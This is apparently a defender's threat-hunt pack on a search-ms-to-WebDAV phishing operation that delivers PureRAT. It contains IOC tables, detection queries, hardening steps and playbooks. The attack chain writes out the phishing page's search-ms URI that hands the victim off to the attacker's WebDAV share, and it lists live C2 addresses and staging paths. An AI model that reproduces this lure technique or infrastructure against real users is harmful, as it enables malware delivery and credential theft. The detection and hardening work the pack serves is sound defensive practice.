WebDAV Malware-Delivery Lab — search-ms → WebDAV → PureRAT 4.4.3
search-ms: URI that opens a remote WebDAV share. Documented by Rapid7 Labs from an exposed operator server (the "Simba Panel"), 2026-07-20.Executive Summary
An MDR alert led Rapid7 Labs to an exposed adversary server that was not just hosting payloads but functioning as a full malware-delivery lab: 1,048 files covering bulk-generated LNK lures, filename-spoofing QA, LOLBin/URL execution tests, encrypted droppers, WebDAV reliability scripts, ClickFix pages, operator notes, and two live campaigns. The operator managed delivery through an LLM-vibecoded admin panel ("Simba Service") whose logs recorded 77,098 requests from 3,892 client IPs across 101 countries, 82.5% from Mexico.
The core delivery technique is IOC-independent and is the highest-value hunt in this pack: a phishing page (a typosquat of Mexico's government CURP portal at gobf[.]mx) runs client-side JavaScript that, instead of serving a PDF, invokes a search-ms: URI pointing at the operator's remote WebDAV share (onedrive[.]cv). Windows Explorer renders the remote share as a local-looking search view filtered to *.scr; the victim double-clicks what looks like a local document and executes a remote binary. From there two chains diverge: the CURP chain drops an RTLO-spoofed .scr (ReportFinal.<RLO>.pdf) that reflectively loads a fileless .NET stealer inside a signed Qihoo 360 process; the DlrtyGames chain uses a 7-Zip SFX dropper, DLL-sideloads a trojanized discord-rpc.x64.dll next to a signed Ubisoft binary, hides modules in PNG IDAT chunks, and hollows a signed host process. Both terminate in PureRAT 4.4.3 (build tag 06x12x2026SantaEbash2), a .NET stealer/RAT.
This is a scale story, not a new-malware story. PureRAT, WebDAV abuse, search-ms:, RTLO, DLL sideloading, and CVE-2025-33053 working-directory hijacking are all previously reported. What is new is that generative AI let one operator mass-produce lure variants, README-documented test kits (a 59-binary working-directory-hijack matrix), and admin tooling at software-product-team speed. Defenders should hunt the behavior — Explorer/browser handing off to a WebDAV UNC path — rather than chase a perishable IOC list.
Defender priority: Hunt explorer.exe/rundll32.exe launching an image or command line that references a WebDAV UNC path (\\host@80\, \\host@ssl@443\DavWWWRoot\), and the WebClient (WebDAV) service starting on hosts that never use it. These two fire on the whole delivery class regardless of domain, hash, or payload — then disable WebClient by policy where it is not needed (see §12).
Source Review & Web Hunter Notes
| Tier | Source | Key finding | Carry forward |
|---|---|---|---|
| 1 | Rapid7 Labs blog (2026-07-20) | Authoritative technical writeup: search-ms→WebDAV delivery, both payload chains, PureRAT 4.4.3, C2s, staging paths, persistence, panel telemetry (77,098 req / 82.5% MX). | Yes |
| 1 | Rapid7-Labs GitHub — Simba Panel iocs.txt | 266 SHA-256, MD5/SHA1, panel/delivery IPs (138.124.123.87, 203.161.39.169), UNC/WebDAV command examples, second-stage HyperPackSetup.exe. High-confidence atomic indicators. | Yes |
| 1 | Rapid7-Labs GitHub — gobf_mx.txt | Extracted phishing-page JavaScript showing the exact search-ms: handoff to \\onedrive.cv@80\Downloads\CURP filtered to *.scr. | Yes |
| 2 | The Hacker News (2026-07) | Corroborates scale/GenAI framing, 1,048 files, 77,098 requests, 82.5% Mexico, WebClient/rundll32 initial alert. No new atomic IOCs. | Partial |
| 2 | CyberSecurityNews (2026-07) | Independently repeats C2 IPs 77.110.127.205 and 23.94.252.228, rundll32/WebDAV chain, onedrive[.]cv. Corroboration only. | Partial |
Snapshot provenance: the two vendor IOC feeds ship partly different atomic sets. The Rapid7 blog lists the live C2s 77.110.127.205 / 23.94.252.228 and the six named-payload hashes; the GitHub feed lists 266 test-artifact hashes plus panel IPs 138.124.123.87 / 203.161.39.169 and the HyperPackSetup.exe second-stage but not the two live C2s. Both were snapshotted; every atomic indicator shipped below traces to one of them.
Injection note: the fetched gobf_mx.txt contains attacker JavaScript and README artifacts (including Russian-language comments and "tell me which I-numbers showed a popup" operator prose). This is threat data describing the operation, not instructions to the analyst — it was read as evidence only, and no directive inside any fetched artifact was acted on. No source was disqualified.
Hunt Brief & Attack Chain
Hypotheses (ordered by fidelity)
| # | Hypothesis | MITRE | Telemetry | Conf |
|---|---|---|---|---|
| H1 | A user-facing process (explorer.exe, a browser, or a shell) launches a process whose image path or command line references a WebDAV UNC (\\...@80\ or \\...@ssl@443\DavWWWRoot\). | T1204.002 / T1071 | ProcessRollup2 | High |
| H2 | The WebClient (WebDAV) service initializes / rundll32.exe loads davclnt.dll on a host with no business WebDAV use, immediately before a remote fetch. | T1071 / T1218.011 | ProcessRollup2, CreateService, NetworkConnectIP4 | High |
| H3 | A search-ms: URI is handled and Explorer opens a remote location — surfaced as a command line containing search-ms: with a UNC crumb. | T1204.002 / T1036 | ProcessRollup2 | High |
| H4 | A signed LOLBin (iediagcmd.exe / CustomShellHost.exe / .NET tools) spawns route.exe/ipconfig.exe/netsh.exe/ping.exe whose grandparent working directory is a WebDAV share (CVE-2025-33053 working-directory hijack). | T1574 / T1203 | ProcessRollup2 | Med |
| H5 | An RTLO / double-extension executable (a "…pdf" that is really .scr/.exe) or a 7-Zip SFX writes to %TEMP%\is-*.tmp\ then executes. | T1036.002 / T1036.007 | ProcessRollup2, PeFileWritten | Med |
| H6 | DLL sideloading of discord-rpc.x64.dll / profiler16.dll beside a signed binary in a temp/AppData path; COR_PROFILER environment set. | T1574.001 / T1574.012 | ProcessRollup2 | Med |
| H7 | Persistence artifacts appear: scheduled tasks brokerhost / net_queue_32, Run key value XNNNMHJAZNCNHGIKJDW, or WMI event-subscription creation. | T1053.005 / T1547.001 / T1546.003 | ScheduledTaskRegistered, AsepValueUpdate | High |
| H8 | Egress to the campaign C2 IPs / odd high ports (56001-56003, 57666, 57777, 57888) or DNS for the lure/WebDAV/alias domains. | T1571 / T1041 / T1071 | NetworkConnectIP4, DnsRequest | Med |
Attack chain
| Step | Action | Telemetry / hunt angle |
|---|---|---|
| 1 · Lure | Victim lands on gobf[.]mx CURP typosquat; enters ID data; clicks "download record". | Web proxy / DNS for lookalike gov domains; not endpoint-visible. |
| 2 · search-ms handoff | Page JS sets window.location.href to search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP&query=*.scr. | Explorer command line contains search-ms: + UNC crumb (H3). |
| 3 · WebDAV mount | Explorer opens the remote share; WebClient service auto-starts; PROPFIND/GET to the WebDAV host. | WebClient service init + davclnt.dll network activity (H2). |
| 4 · Remote exec | Victim double-clicks ReportFinal.<RLO>.pdf (really .scr, Inno Setup) or an SFX; it runs from the WebDAV path. | Process image path = UNC (H1); RTLO/double-ext + SFX to %TEMP%\is-*.tmp (H5). |
| 5 · Load | CURP: Fo-Binary/Fcqleh loader AES+GZip decrypts, Assembly.Load(byte[]), process-hollows signed Qihoo 360. DlrtyGames: Volt_Droid sideloads discord-rpc → profiler16 → IDAT PNG modules → hollow MegArray.exe/Crisp.exe. | Sideload (H6); signed host spawned suspended then hollowed. |
| 6 · Persist | Scheduled tasks brokerhost/net_queue_32, Run key XNNNMHJAZNCNHGIKJDW, WMI subscription; staging in inttracer_i686_prod / basenet. | ScheduledTaskRegistered, AsepValueUpdate, WMI (H7). |
| 7 · Steal & C2 | PureRAT 4.4.3 harvests wallets, browser creds/cookies, Telegram tdata; keylogs finance keywords; exfil to C2 over TLS-without-SNI to /c2. | Egress to C2 IPs / odd high ports; DNS for alias domains (H8). |
Consolidated IOC Table
Infrastructure and hashes are perishable — the campaign ran a short, high-volume burst (June 20-26 2026). Prefer the behavioral hunts in §8. Domains are defanged; refang before use.
| Type | Value | Conf | Action | Context |
|---|---|---|---|---|
| domain | gobf[.]mx | high | detect | CURP phishing typosquat of gob.mx portal |
| domain | onedrive[.]cv | high | detect | WebDAV / HTTP delivery host |
| domain | google[.]services[.]ug | high | detect | C2 alias (cert CN=Eglgyqnoa) for 77.110.127.205 |
| domain | summerartcamp[.]net | medium | hunt | WebDAV working-dir example in CVE-2025-33053 test kit |
| ipv4 | 77.110.127.205 | high | detect | CURP-chain stealer C2 (ports 56001-56003 / 57666 / 57777 / 57888) |
| ipv4 | 23.94.252.228 | high | detect | DlrtyGames-chain C2 (:57666) |
| ipv4 | 138.124.123.87 | high | hunt | WebDAV panel / delivery infrastructure (GitHub feed) |
| ipv4 | 203.161.39.169 | medium | hunt | Secondary infrastructure (GitHub feed) |
| sha256 | 04a8018191f2e9e76072d072a933371d9d669a42de2b2a087541cd3a653b0ba7 | high | detect | ReportFinal.<RLO>.scr — CURP stage-0 dropper |
| sha256 | e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268 | high | detect | DlrtyGames.exe — 7-Zip SFX dropper |
| sha256 | 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df | high | detect | discord-rpc.x64.dll — trojanized sideload DLL |
| sha256 | a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9 | high | detect | profiler16.dll — encoded stage-2 blob |
| sha256 | 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b | high | detect | loader-pool.db — PNG w/ encrypted IDAT modules |
| sha256 | 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923 | high | detect | PureRAT 4.4.3 .NET composite (shared across chains) |
| filename | ReportFinal.<RLO>.pdf (.scr) | high | hunt | RTLO-spoofed Inno Setup executable |
| filename | Fo-Binary.exe | medium | hunt | CURP stage-1 native loader (%TEMP%\is-*.tmp) |
| filename | Volt_Droid.exe | medium | hunt | Signed Ubisoft binary abused for DLL sideloading |
| ja3 | fc54e0d16d9764783542f0146a98b300 | medium | hunt | DlrtyGames-chain TLS client fingerprint |
| tag | 06x12x2026SantaEbash2 | medium | pivot | PureRAT v4.4.3 build tag (June 12 2026 toolkit) |
Affected Surface & Telemetry Matrix
| Surface | Required telemetry | Priority | Gap risk |
|---|---|---|---|
| Windows Explorer / browser handoff to WebDAV | ProcessRollup2 (CommandLine, ImageFileName, ParentBaseFileName) | Critical | Low — process telemetry universal |
| WebClient (WebDAV) service | CreateService / ProcessRollup2 (svchost -s WebClient), NetworkConnectIP4 | High | Med — service-start visibility varies |
| LOLBin working-directory hijack | ProcessRollup2 parent/grandparent + CommandLine | High | Med — grandparent path not always captured |
| DLL sideloading / process hollowing | ProcessRollup2; image-load telemetry (tenant-dependent) | Medium | High — module-load events not in base ProcessRollup2 |
| Persistence (tasks / Run key / WMI) | ScheduledTaskRegistered, AsepValueUpdate | High | Low |
| C2 egress | NetworkConnectIP4, DnsRequest | Medium | Med — IPs perishable, TLS-without-SNI limits inspection |
ATT&CK Mapping
| Tactic | Technique | ID | Observed behavior | Query / control |
|---|---|---|---|---|
| Initial Access / Execution | User Execution: Malicious File | T1204.002 | Victim double-clicks remote .scr from WebDAV search view | Q1, Q3 |
| Command & Control | Application Layer Protocol / Web Service (WebDAV) | T1071 | WebClient service → davclnt.dll fetches remote payload | Q2 |
| Defense Evasion | Masquerading: RTLO | T1036.002 | ReportFinal.<RLO>.pdf is a .scr | Q5 |
| Defense Evasion | Masquerading: Double File Extension | T1036.007 | HyperPackSetup.<spoof>.pdf.lnk matrix | Q5 |
| Execution / Priv-Esc | Exploitation for Client Execution (CVE-2025-33053) | T1203 | iediagcmd.exe spawns route.exe from WebDAV working dir | Q4 |
| Defense Evasion | Hijack Execution Flow: DLL Side-Loading | T1574.001 | Volt_Droid.exe loads trojanized discord-rpc.x64.dll | Q6 |
| Persistence | Hijack Execution Flow: COR_PROFILER | T1574.012 | COR_PROFILER env checked/abused | Q6, §12 |
| Defense Evasion | Process Hollowing | T1055.012 | Suspended MegArray.exe/Crisp.exe unmapped & overwritten | Q6 (partial), IOA |
| Defense Evasion | Reflective Code Loading | T1620 | Assembly.Load(byte[]) in-memory .NET | IOA |
| Defense Evasion | Steganography / image-carried payload | T1027.003 | Encrypted modules in PNG IDAT chunks (loader-pool.db) | Hash / IOA |
| Persistence | Scheduled Task | T1053.005 | Tasks brokerhost / net_queue_32 | Q7 |
| Persistence | Registry Run Key | T1547.001 | Run value XNNNMHJAZNCNHGIKJDW | Q7 |
| Persistence | WMI Event Subscription | T1546.003 | WMI subscription created for reload | §7 native |
| Priv-Esc | Bypass UAC | T1548.002 | dllhost.exe COM auto-elevation | §12 |
| Collection / Cred Access | Keylogging / Creds from Browsers / Steal Cookie | T1056.001 / T1555.003 / T1539 | PureRAT harvests wallets, browser creds, Telegram tdata | Q8, IOA |
| Exfiltration | Exfil Over C2 Channel / Encrypted Channel | T1041 / T1573 | Multipart POST /c2 over TLS-without-SNI | Q8 |
| Resource Dev (ATLAS) | LLM-assisted lure/capability development | AML.T0052 / T0016 / T0017 | GenAI-generated lures, README kits, admin panel | Context only |
Native Audit-Log Hunts (non-CQL)
Windows Event Logs / Sysmon
- WebClient service start — System log
Service Control ManagerEvent ID 7036 / 7045 for the WebClient service transitioning to Running on hosts with no WebDAV business use. This is the single strongest native signal for the whole delivery class. - Sysmon Event ID 1 — process create where
ImageorCommandLinecontains@80\,@ssl@443,DavWWWRoot, orsearch-ms:. - Sysmon Event ID 3 / 22 —
svchost.exe(WebClient) or the launching process making outbound connections to the WebDAV host; DNS foronedrive[.]cv/ alias domains. - Sysmon Event ID 11 — file writes to
%TEMP%\is-*.tmp\(Inno Setup),%AppData%\Roaming\inttracer_i686_prod\,C:\ProgramData\inttracer_i686_prod\,C:\ProgramData\basenet\. - Sysmon Event ID 12/13 — Run key
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW; keys\com_app_bg_i686,\messenger_component_v8_32_rc. - Sysmon Event ID 19/20/21 — WMI event-filter / consumer / binding creation (PureRAT reload persistence).
- Security 4698 — scheduled-task creation named
brokerhostornet_queue_32.
Network / proxy
- WebDAV-over-HTTP: outbound
PROPFINDrequests and HTTP207 Multi-Statusresponses to non-corporate hosts — the fingerprint of Explorer browsing a remote WebDAV share. - DNS/proxy for lookalike government / brand domains (CURP, gob.mx variants) and free-TLD hosts (
.cv,.ug).
CrowdStrike LogScale CQL Hunt Queries
Looks for: any process whose image path or command line resolves to a WebDAV UNC (\\host@80\ or \\host@ssl@443\DavWWWRoot\). This is the core, IOC-independent detection for the whole delivery class.
// HUNT: Process image/command line references a WebDAV UNC path // MITRE: T1204.002 | CONF: high FP: low COST: low | REQUIRES: ProcessRollup2 #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | CommandLine=/@(80|ssl@443)\\/i OR ImageFileName=/@(80|ssl@443)\\/i OR CommandLine=/DavWWWRoot/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, ImageFileName, CommandLine]) | sort(@timestamp, order=desc, limit=500)
Looks for: the WebClient (WebDAV) service being launched via svchost.exe -s WebClient, or rundll32.exe loading davclnt.dll. On hosts with no legitimate WebDAV use, WebClient starting is a strong delivery precursor. FP: environments that use SharePoint/WebDAV "Open in Explorer" legitimately — baseline those hosts and exclude them.
// HUNT: WebClient (WebDAV) service init / davclnt.dll load // MITRE: T1071 | CONF: high FP: medium COST: low | REQUIRES: ProcessRollup2 // TUNING: exclude hosts/OUs that use SharePoint "Open in Explorer" or map WebDAV drives by policy #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | (FileName=/^svchost\.exe$/i AND CommandLine=/-s\s+WebClient/i) OR CommandLine=/davclnt\.dll/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=desc, limit=500)
Looks for: an explorer.exe command line carrying a search-ms: URI that references a UNC location or a *.scr query — the exact handoff the phishing page performs. FP: legitimate saved-search files are local; a search-ms: containing a UNC location: crumb is anomalous.
// HUNT: search-ms URI pointing at a remote/UNC location // MITRE: T1204.002 | CONF: high FP: medium COST: low | REQUIRES: ProcessRollup2 // TUNING: legit saved searches are local-only; require a UNC crumb or *.scr query to cut noise #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | CommandLine=/search-ms:/i | CommandLine=/(location:\\\\|query=\*\.scr|crumb=location)/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=desc, limit=500)
Looks for: a signed diagnostics/LOLBin (iediagcmd.exe, CustomShellHost.exe) spawning route.exe/ipconfig.exe/netsh.exe/ping.exe — the child-by-name behavior CVE-2025-33053 abuses to run an attacker binary from a WebDAV working directory. FP: legitimate diagnostics genuinely spawn these; pair with Q1 or check the child's working directory for a UNC path.
// HUNT: iediagcmd/CustomShellHost spawning route/ipconfig/netsh/ping (working-dir hijack) // MITRE: T1203,T1574 | CONF: high FP: medium COST: low | REQUIRES: ProcessRollup2 // TUNING: benign IE diagnostics also spawn these; correlate with Q1 (UNC image) or a WebDAV parent #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | in(ParentBaseFileName, values=["iediagcmd.exe","customshellhost.exe"], ignoreCase=true) | in(FileName, values=["route.exe","ipconfig.exe","netsh.exe","ping.exe"], ignoreCase=true) | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=desc, limit=500)
Looks for: a command line where .pdf (or another doc extension) is followed by an executable extension (.scr/.exe/.cmd) — the double-extension / RTLO masquerade — or an Inno Setup SFX unpacking to %TEMP%\is-*.tmp\. FP: archive tools and installers legitimately use is-*.tmp; the double-extension token is the higher-fidelity half.
// HUNT: doc-then-exe double extension, or Inno Setup SFX staging in %TEMP%\is-*.tmp // MITRE: T1036.002,T1036.007 | CONF: medium FP: medium COST: medium | REQUIRES: ProcessRollup2 // TUNING: exclude known-good installer vendors writing is-*.tmp; the .pdf.(scr|exe) token is the strong signal #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | CommandLine=/\.(pdf|doc|docx|xls|jpg)\s*\.(scr|exe|cmd|com|pif)/i OR CommandLine=/\\is-[a-z0-9]+\.tmp\\/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=desc, limit=500)
Looks for: the named sideload artifacts (Volt_Droid.exe, discord-rpc.x64.dll, profiler16.dll, loader-pool.db) or a COR_PROFILER environment reference on the command line. FP: legitimate Discord RPC integrations reference discord-rpc; combine with the temp/AppData staging path or Volt_Droid parent.
// HUNT: DlrtyGames sideload artifacts / COR_PROFILER hijack reference // MITRE: T1574.001,T1574.012 | CONF: medium FP: medium COST: low | REQUIRES: ProcessRollup2 // TUNING: genuine Discord RPC uses discord-rpc; require Volt_Droid parent or a temp/AppData path to confirm #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | CommandLine=/(volt_droid|discord-rpc\.x64|profiler16\.dll|loader-pool\.db|COR_PROFILER)/i OR FileName=/^volt_droid\.exe$/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=desc, limit=500)
Looks for: creation of the campaign's named scheduled tasks (brokerhost, net_queue_32) or the distinctive Run-key value XNNNMHJAZNCNHGIKJDW. High-fidelity retro-hunt indicators.
// HUNT: named scheduled tasks + Run key persistence // MITRE: T1053.005,T1547.001 | CONF: high FP: low COST: low | REQUIRES: ScheduledTaskRegistered, AsepValueUpdate #event_simpleName=/ScheduledTaskRegistered|AsepValueUpdate/ | TaskName=/(brokerhost|net_queue_32)/i OR ScheduledTaskName=/(brokerhost|net_queue_32)/i OR RegValueName=/XNNNMHJAZNCNHGIKJDW/i OR RegObjectName=/(com_app_bg_i686|messenger_component_v8_32_rc)/i | table([@timestamp, ComputerName, UserName, TaskName, ScheduledTaskName, RegObjectName, RegValueName]) | sort(@timestamp, order=desc, limit=500)
Looks for: outbound connections to the two campaign C2 IPs, or to the distinctive high ports the stealer used (56001-56003, 57666, 57777, 57888). FP: the odd-port list alone is broad — treat a port-only hit as a pivot, and a C2-IP hit as detect. IPs are perishable; refresh from current intel.
// HUNT: egress to campaign C2 IPs or distinctive high ports // MITRE: T1571,T1041 | CONF: medium FP: medium COST: low | REQUIRES: NetworkConnectIP4 // TUNING: IP hits = detect; bare high-port hits = pivot only. Validate IPs are still live before alerting. #event_simpleName=/NetworkConnectIP4/ | in(RemoteAddressIP4, values=["77.110.127.205","23.94.252.228","138.124.123.87"]) OR in(RemotePort, values=["56001","56002","56003","57666","57777","57888"]) | table([@timestamp, ComputerName, FileName, RemoteAddressIP4, RemotePort]) | sort(@timestamp, order=desc, limit=500)
Looks for: execution of any of the six named-payload SHA-256 hashes across the two chains. Exact-match retro-hunt; low FP by construction.
// HUNT: campaign payload SHA-256 execution // MITRE: T1204.002 | CONF: high FP: low COST: low | REQUIRES: ProcessRollup2 #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | in(SHA256HashData, values=[ "04a8018191f2e9e76072d072a933371d9d669a42de2b2a087541cd3a653b0ba7", "e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268", "449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df", "a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9", "51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b", "82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923"], ignoreCase=true) | table([@timestamp, ComputerName, UserName, FileName, SHA256HashData]) | sort(@timestamp, order=desc, limit=500)
CrowdStrike Custom IOA Recommendations
| IOA name | Pattern | Exclusions | Path |
|---|---|---|---|
| WebDAV-UNC-Process-Launch | Process image path or command line matching @80\ / @ssl@443 / DavWWWRoot (Q1) | Approved SharePoint/WebDAV OUs | Promote Q1 to blocking IOA once baselined |
| WebClient-Start-Then-RemoteExec | WebClient service start followed within N seconds by a child process with a UNC image (Q2+Q1) | Hosts that map WebDAV drives by policy | Detect-only first; promote per-host |
| LOLBin-WorkDir-Hijack | iediagcmd/CustomShellHost spawning route/ipconfig/netsh/ping (Q4) | Sanctioned IE diagnostics workflows | Detect; escalate if child image is UNC |
| Signed-Host-Hollow | Signed process (MegArray.exe/Crisp.exe/360-signed) created suspended then image-unmapped (hollowing) | Debuggers, EDR self-instrumentation | Requires memory/thread telemetry — validate module-load coverage first |
Q1, Q3, Q7 and Q9 are the strongest IOA/blocklist candidates. Q5/Q6/Q8 are best kept as investigate-only hunts until baselined in-tenant.
Machine-Readable IOC Appendix
type,value,action,severity,expiration,description,tags domain,gobf.mx,detect,critical,2027-01-31,CURP phishing typosquat,campaign:WebDAVDeliveryLab domain,onedrive.cv,detect,critical,2027-01-31,WebDAV delivery host,campaign:WebDAVDeliveryLab domain,google.services.ug,detect,high,2027-01-31,PureRAT C2 alias,campaign:WebDAVDeliveryLab ipv4,77.110.127.205,detect,critical,2027-01-31,CURP-chain stealer C2,campaign:WebDAVDeliveryLab ipv4,23.94.252.228,detect,critical,2027-01-31,DlrtyGames-chain C2,campaign:WebDAVDeliveryLab ipv4,138.124.123.87,detect,high,2027-01-31,WebDAV panel infra,campaign:WebDAVDeliveryLab ipv4,203.161.39.169,detect,medium,2026-10-31,Secondary infra,campaign:WebDAVDeliveryLab sha256,04a8018191f2e9e76072d072a933371d9d669a42de2b2a087541cd3a653b0ba7,prevent,critical,2027-01-31,ReportFinal RTLO .scr dropper,campaign:WebDAVDeliveryLab sha256,e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268,prevent,critical,2027-01-31,DlrtyGames.exe SFX dropper,campaign:WebDAVDeliveryLab sha256,449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df,prevent,critical,2027-01-31,discord-rpc.x64.dll sideload,campaign:WebDAVDeliveryLab sha256,a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9,prevent,high,2027-01-31,profiler16.dll stage-2,campaign:WebDAVDeliveryLab sha256,51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b,prevent,high,2027-01-31,loader-pool.db IDAT container,campaign:WebDAVDeliveryLab sha256,82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923,prevent,critical,2027-01-31,PureRAT 4.4.3 composite,campaign:WebDAVDeliveryLab
# Fire regardless of hash/domain rotation: - Process image or cmdline references a WebDAV UNC: \\host@80\ \\host@ssl@443\DavWWWRoot\ - WebClient service starts on a host with no WebDAV business use - rundll32.exe / process loads davclnt.dll then connects to a non-corp host - explorer.exe cmdline contains search-ms: with a UNC location: crumb or query=*.scr - signed LOLBin (iediagcmd.exe/CustomShellHost.exe) spawns route/ipconfig/netsh/ping - doc-extension immediately followed by .scr/.exe (RTLO / double extension) - Inno Setup SFX staging to %TEMP%\is-*.tmp\ then child exec - signed host (MegArray.exe/Crisp.exe) created suspended then image-unmapped (hollowing)
# Payload names ReportFinal.<RLO>.pdf (.scr) Fo-Binary.exe DlrtyGames.exe Volt_Droid.exe discord-rpc.x64.dll profiler16.dll loader-pool.db HyperPackSetup.exe MegArray.exe / Crisp.exe (hollow hosts) PureRAT 4.4.3 (06x12x2026SantaEbash2) # Staging paths %TEMP%\is-XXXXX.tmp\Fo-Binary.exe %AppData%\Roaming\inttracer_i686_prod\ C:\ProgramData\inttracer_i686_prod\ C:\ProgramData\basenet\ %APPDATA%\basenet\ # WebDAV paths \\onedrive.cv@80\Downloads\CURP \\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr # Persistence Task: brokerhost Task: net_queue_32 HKCU\...\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW Reg: \com_app_bg_i686 Reg: \messenger_component_v8_32_rc # TLS JA3 fc54e0d16d9764783542f0146a98b300
# Confirm gone / hardened: - KB5060* (June 2025) installed -> closes CVE-2025-33053 iediagcmd hijack - CVE-2026-21513 (MSHTML) and CVE-2025-24054 (NTLM/.library-ms) patched - WebClient service: Disabled where not required (Startup=Disabled) - ASR "Block executable content from email/webmail" + "Block Office child procs" - SmartScreen / MoTW enforced; block .scr / .cpl / .library-ms from mail & web - Explorer search-ms: and library-ms: handlers restricted where feasible
Detection Validation Gates
| Gate | Check | Pass criteria |
|---|---|---|
| Telemetry ready | ProcessRollup2 CommandLine populated; ScheduledTaskRegistered & AsepValueUpdate flowing; NetworkConnectIP4 present | All event types return data over the last 7 days |
| Benign baseline | Run Q2 (WebClient) and Q1 (WebDAV UNC) over 14 days on a clean fleet | Identify legitimate WebDAV/SharePoint OUs; add to TUNING exclusions |
| Positive test | In a lab, trigger a benign search-ms: to a UNC and a WebClient start | Q1/Q2/Q3 each fire on the lab event |
| Promotion | Q1/Q3/Q7/Q9 hold zero FP over the baseline window | Promote to Custom IOA / blocklist; keep Q5/Q6/Q8 investigate-only |
Hardening — Tiered
- Disable the WebClient (WebDAV) service where it is not required (the majority of enterprise endpoints). This kills the entire
search-ms:→WebDAV delivery class outright. MITRE M1042. CIS Windows Benchmark (Disable WebClient). - Block outbound WebDAV/PROPFIND to the internet at the proxy/firewall — WebDAV should be internal-only. MITRE M1037.
- Confirm June 2025 cumulative (KB5060*) is deployed to close CVE-2025-33053; verify CVE-2026-21513 and CVE-2025-24054 are patched. MITRE M1051.
- Enable Microsoft Defender ASR rules: "Block executable content from email client and webmail" and "Block all Office applications from creating child processes"; enforce SmartScreen and Mark-of-the-Web. MITRE M1040 / M1038.
- Restrict risky file handlers arriving from mail/web:
.scr,.cpl,.library-ms,.url,.iso/.img. Strip or quarantine at the mail gateway. MITRE M1021. - Constrain the
search-ms:/library-ms:protocol handlers via SRP/WDAC or handler removal where business impact allows. MITRE M1042. - Block
COR_PROFILERenvironment abuse — audit and restrict user-writableCOR_PROFILER/COR_ENABLE_PROFILINGfor non-dev hosts. MITRE M1042. - Application control (WDAC/AppLocker) to block execution from
%TEMP%,%AppData%, and UNC/WebDAV paths for standard users. MITRE M1038.
- LOLBin execution policy — WDAC rules to prevent signed diagnostics binaries (iediagcmd, CustomShellHost, InstallUtil, RegAsm, etc.) from spawning network tools out of non-System32 working directories. MITRE M1038.
- User awareness for lookalike government/brand portals and "download that opens a file browser instead of a PDF" behavior; register/monitor typosquats of your brand. MITRE M1017.
- DNS filtering on free/abused TLDs (
.cv,.ug) and newly-registered domains. MITRE M1021.
Deployable Playbooks
Playbook 1 — Disable WebClient (WebDAV) fleet-wide
Prerequisites: local admin / GPO or Intune; inventory of hosts that legitimately need WebDAV (SharePoint "Open in Explorer" users). Reboot required: No (stop the running service after disabling). Rollback: Set-Service WebClient -StartupType Manual and start it, or re-link the GPO to Not Configured.
# Disable and stop the WebClient service (PowerShell, run as admin) Set-Service -Name WebClient -StartupType Disabled Stop-Service -Name WebClient -Force -ErrorAction SilentlyContinue # GPO equivalent: Computer Config > Preferences > Control Panel Settings > Services # Service name: WebClient | Startup: Disabled | Action: Stop service # Verify: Get-Service WebClient | Select-Object Name, Status, StartType
Playbook 2 — ASR rules + risky-handler block (Intune / PowerShell)
Prerequisites: Defender AV in active mode; Intune or GPO for ASR GUIDs. Reboot required: No. Rollback: set the same ASR GUIDs to Disabled (0), or unlink the policy.
# Enable ASR: block executable content from email/webmail; block Office child procs Set-MpPreference -AttackSurfaceReductionRules_Ids ` BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 -AttackSurfaceReductionRules_Actions Enabled Set-MpPreference -AttackSurfaceReductionRules_Ids ` D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled # Verify: Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids
Playbook 3 — Confirm CVE-2025-33053 patch (KB5060*)
Prerequisites: WinRM/remote query rights. Reboot required: Only if patch must be installed. Rollback: none required (detection only; do not uninstall security updates).
# Is the June 2025 fix present?
Get-HotFix | Where-Object { $_.HotFixID -match "KB5060" } |
Select-Object HotFixID, InstalledOn
# If empty -> host is exposed to the iediagcmd working-directory hijack; schedule patching.
Containment Runbook
| Phase | Actions | Owner | Evidence |
|---|---|---|---|
